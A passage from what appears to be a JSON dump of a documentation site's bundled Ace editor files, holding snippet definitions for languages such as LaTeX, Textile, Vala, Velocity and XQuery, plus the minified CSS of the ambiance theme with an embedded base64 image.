cas\\n\t\\\\begin{cases}\\n\t\t${1:equation}, &\\\\text{ if }${2:case}\\\\\\\\\\n\t\t${3}\\n\t\\\\end{cases}\\n# Split\\nsnippet spl\\n\t\\\\begin{split}\\n\t\t${1}\\n\t\\\\end{split}\\n# Part\\nsnippet part\\n\t\\\\part{${1:part name}} % (fold)\\n\t\\\\label{prt:${2:$1}}\\n\t${3}\\n\t% part $2 (end)\\n# Chapter\\nsnippet cha\\n\t\\\\chapter{${1:chapter name}}\\n\t\\\\label{cha:${2:$1}}\\n\t${3}\\n# Section\\nsnippet sec\\n\t\\\\section{${1:section name}}\\n\t\\\\label{sec:${2:$1}}\\n\t${3}\\n# Sub Section\\nsnippet sub\\n\t\\\\subsection{${1:subsection name}}\\n\t\\\\label{sub:${2:$1}}\\n\t${3}\\n# Sub Sub Section\\nsnippet subs\\n\t\\\\subsubsection{${1:subsubsection name}}\\n\t\\\\label{ssub:${2:$1}}\\n\t${3}\\n# Paragraph\\nsnippet par\\n\t\\\\paragraph{${1:paragraph name}}\\n\t\\\\label{par:${2:$1}}\\n\t${3}\\n# Sub Paragraph\\nsnippet subp\\n\t\\\\subparagraph{${1:subparagraph name}}\\n\t\\\\label{subp:${2:$1}}\\n\t${3}\\n#References\\nsnippet itd\\n\t\\\\item[${1:description}] ${2:item}\\nsnippet figure\\n\t${1:Figure}~\\\\ref{${2:fig:}}${3}\\nsnippet table\\n\t${1:Table}~\\\\ref{${2:tab:}}${3}\\nsnippet listing\\n\t${1:Listing}~\\\\ref{${2:list}}${3}\\nsnippet section\\n\t${1:Section}~\\\\ref{${2:sec:}}${3}\\nsnippet page\\n\t${1:page}~\\\\pageref{${2}}${3}\\nsnippet index\\n\t\\\\index{${1:index}}${2}\\n#Citations\\nsnippet cite\\n\t\\\\cite[${1}]{${2}}${3}\\nsnippet fcite\\n\t\\\\footcite[${1}]{${2}}${3}\\n#Formating text: italic, bold, underline, small capital, emphase ..\\nsnippet it\\n\t\\\\textit{${1:text}}\\nsnippet bf\\n\t\\\\textbf{${1:text}}\\nsnippet under\\n\t\\\\underline{${1:text}}\\nsnippet emp\\n\t\\\\emph{${1:text}}\\nsnippet sc\\n\t\\\\textsc{${1:text}}\\n#Choosing font\\nsnippet sf\\n\t\\\\textsf{${1:text}}\\nsnippet rm\\n\t\\\\textrm{${1:text}}\\nsnippet tt\\n\t\\\\texttt{${1:text}}\\n#misc\\nsnippet ft\\n\t\\\\footnote{${1:text}}\\nsnippet fig\\n\t\\\\begin{figure}\\n\t\\\\begin{center}\\n\t    \\\\includegraphics[scale=${1}]{Figures/${2}}\\n\t\\\\end{center}\\n\t\\\\caption{${3}}\\n\t\\\\label{fig:${4}}\\n\t\\\\end{figure}\\nsnippet tikz\\n\t\\\\begin{figure}\\n\t\\\\begin{center}\\n\t\\\\begin{tikzpicture}[scale=${1:1}]\\n\t\t${2}\\n\t\\\\end{tikzpicture}\\n\t\\\\end{center}\\n\t\\\\caption{${3}}\\n\t\\\\label{fig:${4}}\\n\t\\\\end{figure}\\n#math\\nsnippet stackrel\\n\t\\\\stackrel{${1:above}}{${2:below}} ${3}\\nsnippet frac\\n\t\\\\frac{${1:num}}{${2:denom}}\\nsnippet sum\\n\t\\\\sum^{${1:n}}_{${2:i=1}}{${3}}\",t.scope=\"tex\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/text.js",
    "content": "define(\"ace/snippets/text\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"text\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/textile.js",
    "content": "define(\"ace/snippets/textile\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Jekyll post header\\nsnippet header\\n\t---\\n\ttitle: ${1:title}\\n\tlayout: post\\n\tdate: ${2:date} ${3:hour:minute:second} -05:00\\n\t---\\n\\n# Image\\nsnippet img\\n\t!${1:url}(${2:title}):${3:link}!\\n\\n# Table\\nsnippet |\\n\t|${1}|${2}\\n\\n# Link\\nsnippet link\\n\t\"${1:link text}\":${2:url}\\n\\n# Acronym\\nsnippet (\\n\t(${1:Expand acronym})${2}\\n\\n# Footnote\\nsnippet fn\\n\t[${1:ref number}] ${3}\\n\\n\tfn$1. ${2:footnote}\\n\t\\n',t.scope=\"textile\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/toml.js",
    "content": "define(\"ace/snippets/toml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"toml\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/twig.js",
    "content": "define(\"ace/snippets/twig\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"twig\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/typescript.js",
    "content": "define(\"ace/snippets/typescript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"typescript\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/vala.js",
    "content": "define(\"ace/snippets/vala\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippets=[{content:\"case ${1:condition}:\\n\t$0\\n\tbreak;\\n\",name:\"case\",scope:\"vala\",tabTrigger:\"case\"},{content:\"/**\\n * ${6}\\n */\\n${1:public} class ${2:MethodName}${3: : GLib.Object} {\\n\\n\t/**\\n\t * ${7}\\n\t */\\n\tpublic ${2}(${4}) {\\n\t\t${5}\\n\t}\\n\\n\t$0\\n}\",name:\"class\",scope:\"vala\",tabTrigger:\"class\"},{content:\"(${1}) => {\\n\t${0}\\n}\\n\",name:\"closure\",scope:\"vala\",tabTrigger:\"=>\"},{content:\"/*\\n * $0\\n */\",name:\"Comment (multiline)\",scope:\"vala\",tabTrigger:\"/*\"},{content:\"Console.WriteLine($1);\\n$0\",name:\"Console.WriteLine (writeline)\",scope:\"vala\",tabTrigger:\"writeline\"},{content:'[DBus(name = \"$0\")]',name:\"DBus annotation\",scope:\"vala\",tabTrigger:\"[DBus\"},{content:\"delegate ${1:void} ${2:DelegateName}($0);\",name:\"delegate\",scope:\"vala\",tabTrigger:\"delegate\"},{content:\"do {\\n\t$0\\n} while ($1);\\n\",name:\"do while\",scope:\"vala\",tabTrigger:\"dowhile\"},{content:\"/**\\n * $0\\n */\",name:\"DocBlock\",scope:\"vala\",tabTrigger:\"/**\"},{content:\"else if ($1) {\\n\t$0\\n}\\n\",name:\"else if (elseif)\",scope:\"vala\",tabTrigger:\"elseif\"},{content:\"else {\\n\t$0\\n}\",name:\"else\",scope:\"vala\",tabTrigger:\"else\"},{content:\"enum {$1:EnumName} {\\n\t$0\\n}\",name:\"enum\",scope:\"vala\",tabTrigger:\"enum\"},{content:\"public errordomain ${1:Error} {\\n\t$0\\n}\",name:\"error domain\",scope:\"vala\",tabTrigger:\"errordomain\"},{content:\"for ($1;$2;$3) {\\n\t$0\\n}\",name:\"for\",scope:\"vala\",tabTrigger:\"for\"},{content:\"foreach ($1 in $2) {\\n\t$0\\n}\",name:\"foreach\",scope:\"vala\",tabTrigger:\"foreach\"},{content:\"Gee.ArrayList<${1:G}>($0);\",name:\"Gee.ArrayList\",scope:\"vala\",tabTrigger:\"ArrayList\"},{content:\"Gee.HashMap<${1:K},${2:V}>($0);\",name:\"Gee.HashMap\",scope:\"vala\",tabTrigger:\"HashMap\"},{content:\"Gee.HashSet<${1:G}>($0);\",name:\"Gee.HashSet\",scope:\"vala\",tabTrigger:\"HashSet\"},{content:\"if ($1) {\\n\t$0\\n}\",name:\"if\",scope:\"vala\",tabTrigger:\"if\"},{content:\"interface ${1:InterfaceName}{$2: : SuperInterface} {\\n\t$0\\n}\",name:\"interface\",scope:\"vala\",tabTrigger:\"interface\"},{content:\"public static int main(string [] argv) {\\n\t${0}\\n\treturn 0;\\n}\",name:\"Main function\",scope:\"vala\",tabTrigger:\"main\"},{content:\"namespace $1 {\\n\t$0\\n}\\n\",name:\"namespace (ns)\",scope:\"vala\",tabTrigger:\"ns\"},{content:\"stdout.printf($0);\",name:\"printf\",scope:\"vala\",tabTrigger:\"printf\"},{content:\"${1:public} ${2:Type} ${3:Name} {\\n\tset {\\n\t\t$0\\n\t}\\n\tget {\\n\\n\t}\\n}\",name:\"property (prop)\",scope:\"vala\",tabTrigger:\"prop\"},{content:\"${1:public} ${2:Type} ${3:Name} {\\n\tget {\\n\t\t$0\\n\t}\\n}\",name:\"read-only property (roprop)\",scope:\"vala\",tabTrigger:\"roprop\"},{content:'@\"${1:\\\\$var}\"',name:\"String template (@)\",scope:\"vala\",tabTrigger:\"@\"},{content:\"struct ${1:StructName} {\\n\t$0\\n}\",name:\"struct\",scope:\"vala\",tabTrigger:\"struct\"},{content:\"switch ($1) {\\n\t$0\\n}\",name:\"switch\",scope:\"vala\",tabTrigger:\"switch\"},{content:\"try {\\n\t$2\\n} catch (${1:Error} e) {\\n\t$0\\n}\",name:\"try/catch\",scope:\"vala\",tabTrigger:\"try\"},{content:'\"\"\"$0\"\"\";',name:'Verbatim string (\"\"\")',scope:\"vala\",tabTrigger:\"verbatim\"},{content:\"while ($1) {\\n\t$0\\n}\",name:\"while\",scope:\"vala\",tabTrigger:\"while\"}],t.scope=\"\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/vbscript.js",
    "content": "define(\"ace/snippets/vbscript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"vbscript\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/velocity.js",
    "content": "define(\"ace/snippets/velocity\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# macro\\nsnippet #macro\\n\t#macro ( ${1:macroName} ${2:\\\\$var1, [\\\\$var2, ...]} )\\n\t\t${3:## macro code}\\n\t#end\\n# foreach\\nsnippet #foreach\\n\t#foreach ( ${1:\\\\$item} in ${2:\\\\$collection} )\\n\t\t${3:## foreach code}\\n\t#end\\n# if\\nsnippet #if\\n\t#if ( ${1:true} )\\n\t\t${0}\\n\t#end\\n# if ... else\\nsnippet #ife\\n\t#if ( ${1:true} )\\n\t\t${2}\\n\t#else\\n\t\t${0}\\n\t#end\\n#import\\nsnippet #import\\n\t#import ( \"${1:path/to/velocity/format}\" )\\n# set\\nsnippet #set\\n\t#set ( $${1:var} = ${0} )\\n',t.scope=\"velocity\",t.includeScopes=[\"html\",\"javascript\",\"css\"]})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/verilog.js",
    "content": "define(\"ace/snippets/verilog\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"verilog\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/vhdl.js",
    "content": "define(\"ace/snippets/vhdl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"vhdl\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/xml.js",
    "content": "define(\"ace/snippets/xml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"xml\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/xquery.js",
    "content": "define(\"ace/snippets/xquery\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet for\\n\tfor $${1:item} in ${2:expr}\\nsnippet return\\n\treturn ${1:expr}\\nsnippet import\\n\timport module namespace ${1:ns} = \"${2:http://www.example.com/}\";\\nsnippet some\\n\tsome $${1:varname} in ${2:expr} satisfies ${3:expr}\\nsnippet every\\n\tevery $${1:varname} in ${2:expr} satisfies ${3:expr}\\nsnippet if\\n\tif(${1:true}) then ${2:expr} else ${3:true}\\nsnippet switch\\n\tswitch(${1:\"foo\"})\\n\tcase ${2:\"foo\"}\\n\treturn ${3:true}\\n\tdefault return ${4:false}\\nsnippet try\\n\ttry { ${1:expr} } catch ${2:*} { ${3:expr} }\\nsnippet tumbling\\n\tfor tumbling window $${1:varname} in ${2:expr}\\n\tstart at $${3:start} when ${4:expr}\\n\tend at $${5:end} when ${6:expr}\\n\treturn ${7:expr}\\nsnippet sliding\\n\tfor sliding window $${1:varname} in ${2:expr}\\n\tstart at $${3:start} when ${4:expr}\\n\tend at $${5:end} when ${6:expr}\\n\treturn ${7:expr}\\nsnippet let\\n\tlet $${1:varname} := ${2:expr}\\nsnippet group\\n\tgroup by $${1:varname} := ${2:expr}\\nsnippet order\\n\torder by ${1:expr} ${2:descending}\\nsnippet stable\\n\tstable order by ${1:expr}\\nsnippet count\\n\tcount $${1:varname}\\nsnippet ordered\\n\tordered { ${1:expr} }\\nsnippet unordered\\n\tunordered { ${1:expr} }\\nsnippet treat \\n\ttreat as ${1:expr}\\nsnippet castable\\n\tcastable as ${1:atomicType}\\nsnippet cast\\n\tcast as ${1:atomicType}\\nsnippet typeswitch\\n\ttypeswitch(${1:expr})\\n\tcase ${2:type}  return ${3:expr}\\n\tdefault return ${4:expr}\\nsnippet var\\n\tdeclare variable $${1:varname} := ${2:expr};\\nsnippet fn\\n\tdeclare function ${1:ns}:${2:name}(){\\n\t${3:expr}\\n\t};\\nsnippet module\\n\tmodule namespace ${1:ns} = \"${2:http://www.example.com}\";\\n',t.scope=\"xquery\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/yaml.js",
    "content": "define(\"ace/snippets/yaml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"yaml\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-ambiance.js",
    "content": "define(\"ace/theme/ambiance\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-ambiance\",t.cssText=\".ace-ambiance .ace_gutter {background-color: #3d3d3d;background-image: -moz-linear-gradient(left, #3D3D3D, #333);background-image: -ms-linear-gradient(left, #3D3D3D, #333);background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#3D3D3D), to(#333));background-image: -webkit-linear-gradient(left, #3D3D3D, #333);background-image: -o-linear-gradient(left, #3D3D3D, #333);background-image: linear-gradient(left, #3D3D3D, #333);background-repeat: repeat-x;border-right: 1px solid #4d4d4d;text-shadow: 0px 1px 1px #4d4d4d;color: #222;}.ace-ambiance .ace_gutter-layer {background: repeat left top;}.ace-ambiance .ace_gutter-active-line {background-color: #3F3F3F;}.ace-ambiance .ace_fold-widget {text-align: center;}.ace-ambiance .ace_fold-widget:hover {color: #777;}.ace-ambiance .ace_fold-widget.ace_start,.ace-ambiance .ace_fold-widget.ace_end,.ace-ambiance .ace_fold-widget.ace_closed{background: none;border: none;box-shadow: none;}.ace-ambiance .ace_fold-widget.ace_start:after {content: '\\u25be'}.ace-ambiance .ace_fold-widget.ace_end:after {content: '\\u25b4'}.ace-ambiance .ace_fold-widget.ace_closed:after {content: '\\u2023'}.ace-ambiance .ace_print-margin {border-left: 1px dotted #2D2D2D;right: 0;background: #262626;}.ace-ambiance .ace_scroller {-webkit-box-shadow: inset 0 0 10px black;-moz-box-shadow: inset 0 0 10px black;-o-box-shadow: inset 0 0 10px black;box-shadow: inset 0 0 10px black;}.ace-ambiance {color: #E6E1DC;background-color: #202020;}.ace-ambiance .ace_cursor {border-left: 1px solid #7991E8;}.ace-ambiance .ace_overwrite-cursors .ace_cursor {border: 1px solid #FFE300;background: #766B13;}.ace-ambiance.normal-mode .ace_cursor-layer {z-index: 0;}.ace-ambiance .ace_marker-layer .ace_selection {background: rgba(221, 240, 255, 0.20);}.ace-ambiance .ace_marker-layer .ace_selected-word {border-radius: 4px;border: 8px solid #3f475d;box-shadow: 0 0 4px black;}.ace-ambiance .ace_marker-layer .ace_step {background: rgb(198, 219, 174);}.ace-ambiance .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 255, 255, 0.25);}.ace-ambiance .ace_marker-layer .ace_active-line {background: rgba(255, 255, 255, 0.031);}.ace-ambiance .ace_invisible {color: #333;}.ace-ambiance .ace_paren {color: #24C2C7;}.ace-ambiance .ace_keyword {color: #cda869;}.ace-ambiance .ace_keyword.ace_operator {color: #fa8d6a;}.ace-ambiance .ace_punctuation.ace_operator {color: #fa8d6a;}.ace-ambiance .ace_identifier {}.ace-ambiance .ace-statement {color: #cda869;}.ace-ambiance .ace_constant {color: #CF7EA9;}.ace-ambiance .ace_constant.ace_language {color: #CF7EA9;}.ace-ambiance .ace_constant.ace_library {}.ace-ambiance .ace_constant.ace_numeric {color: #78CF8A;}.ace-ambiance .ace_invalid {text-decoration: underline;}.ace-ambiance .ace_invalid.ace_illegal {color:#F8F8F8;background-color: rgba(86, 45, 86, 0.75);}.ace-ambiance .ace_invalid,.ace-ambiance .ace_deprecated {text-decoration: underline;font-style: italic;color: #D2A8A1;}.ace-ambiance .ace_support {color: #9B859D;}.ace-ambiance .ace_support.ace_function {color: #DAD085;}.ace-ambiance .ace_function.ace_buildin {color: #9b859d;}.ace-ambiance .ace_string {color: #8f9d6a;}.ace-ambiance .ace_string.ace_regexp {color: #DAD085;}.ace-ambiance .ace_comment {font-style: italic;color: #555;}.ace-ambiance .ace_comment.ace_doc {}.ace-ambiance .ace_comment.ace_doc.ace_tag {color: #666;font-style: normal;}.ace-ambiance .ace_definition,.ace-ambiance .ace_type {color: #aac6e3;}.ace-ambiance .ace_variable {color: #9999cc;}.ace-ambiance .ace_variable.ace_language {color: #9b859d;}.ace-ambiance .ace_xml-pe {color: #494949;}.ace-ambiance .ace_gutter-layer,.ace-ambiance .ace_text-layer {background-image: url(\\\"data:image/png;base64,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